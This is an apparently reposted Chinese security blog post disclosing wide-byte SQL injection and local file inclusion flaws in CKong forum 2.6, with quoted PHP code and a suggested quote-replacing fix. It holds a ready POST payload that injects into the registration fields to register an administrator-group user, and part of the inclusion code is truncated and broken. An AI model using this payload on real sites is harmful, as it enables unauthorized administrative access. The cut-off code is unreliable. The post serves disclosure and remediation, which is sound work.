心空论坛(CKong)2.6 GBK 版注入漏洞 & 本地包含漏洞

admin 2021年4月3日19:37:35评论38 views字数 1997阅读6分39秒阅读模式

    By:seraph

    问题出现在profile.php文件里面,过滤了$reguser,$regemail,后面的$reghomepage,$regarea,$regcomm,$regsex都可以用宽字节注入,直接得到一个管理员权限的用户。

    代码如下:

以下是引用片段:

if($action=='reg' && $reguser) {
        if($Global['hashto']['reg'] && (!$hashnum || $hashnum$_SESSION[$Global['privprefix'].'imghash'])) $C_errormsg.='

  • 验证码错误
  • ';
            if (!preg_match("/^([x81-xfea-z0-9]){3,12}$/i",$reguser)) $C_errormsg.='

  • 用户名请用3-12字节的中文字母或数字
  • ';
            if(!eregi("^[_.0-9a-z-]+@([0-9a-z][0-9a-z-]+.)+[a-z]{2,3}$",$regemail)) $C_errormsg.='

  • Email填写错误
  • ';
            $sql='select user_id from '.__TAB_USER__." where ".$Global['mysql_userow']."='".$reguser."'";
            $result=$db->query($sql);
            if($rows=$db->fetch_row($result)) $C_errormsg.='

  • 用户名已存在
  • ';
            $sql='select ban_id from '.__TAB_BANLIST__." where ban_name='".$reguser."'";
            $result=$db->query($sql);
            if($rows=$db->fetch_row($result)) $C_errormsg.='

  • 此用户名已被禁止
  • ';
            $db->free_result($result);
            if(!$C_errormsg) {
                    $sql='insert into '.__TAB_USER__." set ".$Global['mysql_userow']."='$reguser',".$Global['mysql_pwdrow']."='".md5($regpwd)."', user_email='$regemail',user_qq='".intval($regqq)."',user_regdate='".$Global['F_time']."', user_homepage='$reghomepage',user_area='$regarea',user_comm='$regcomm',user_sex='$regsex', user_publicemail='".intval($publicmail)."',group_id=2";
                   
                    die("rn".$sql);
                    if(!($result=$db->query($sql))) back('注册数据插入失败');

        自行抓包直接POST提交到:

    http://localhost/phptest/Ckong2/CKong2.6/profile.php

    reguser=seraph3&regpwd=seraph&regpwd2=seraph&[email protected]&publicmail=1&regsex=1%d5',user_publicemail%3d1,group_id%3D7#&regqq=343434&reghomepage=1212121&regarea=121212&regcomm=%CE%D2%CA%B2%C3%B4%D2%B2%B2%BB

        修补方法:

    $reghomepage=str_replace("'","‘",$reghomepage);
    $regarea=str_replace("'","‘",$regarea);
    $regcomm=str_replace("'","‘",$regcomm);
    $regsex=str_replace("'","‘",$regsex);

        还来还是不能太相信GPC了,自己手动过滤过滤比较靠得住一点。

    ----------------------------- JJ的分割线 -----------------------------

        这套程序还有一个本地包含漏洞。

        在本地全登录后,admin.php 里面代码:

    以下是引用片段:

    ini_set('max_execution_time', 0);
    $str='';
    for($i=0;$i
    {
            $str=$str.".";
            $pfile="create.txt";
            if(include_once ($pfile.$str.'.php')) echo $i;
    }
    ?>

        关于这个问题,希望大家一起来讨论讨论。

        这套程序只是一个小程序,可能用的人不多,全当技术练习。 

    文章来源于lcx.cc:心空论坛(CKong)2.6 GBK 版注入漏洞 & 本地包含漏洞

    • 左青龙
    • 微信扫一扫
    • weinxin
    • 右白虎
    • 微信扫一扫
    • weinxin
    admin
    • 本文由 发表于 2021年4月3日19:37:35
    • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                     心空论坛(CKong)2.6 GBK 版注入漏洞 & 本地包含漏洞https://cn-sec.com/archives/323997.html

    发表评论

    匿名网友 填写信息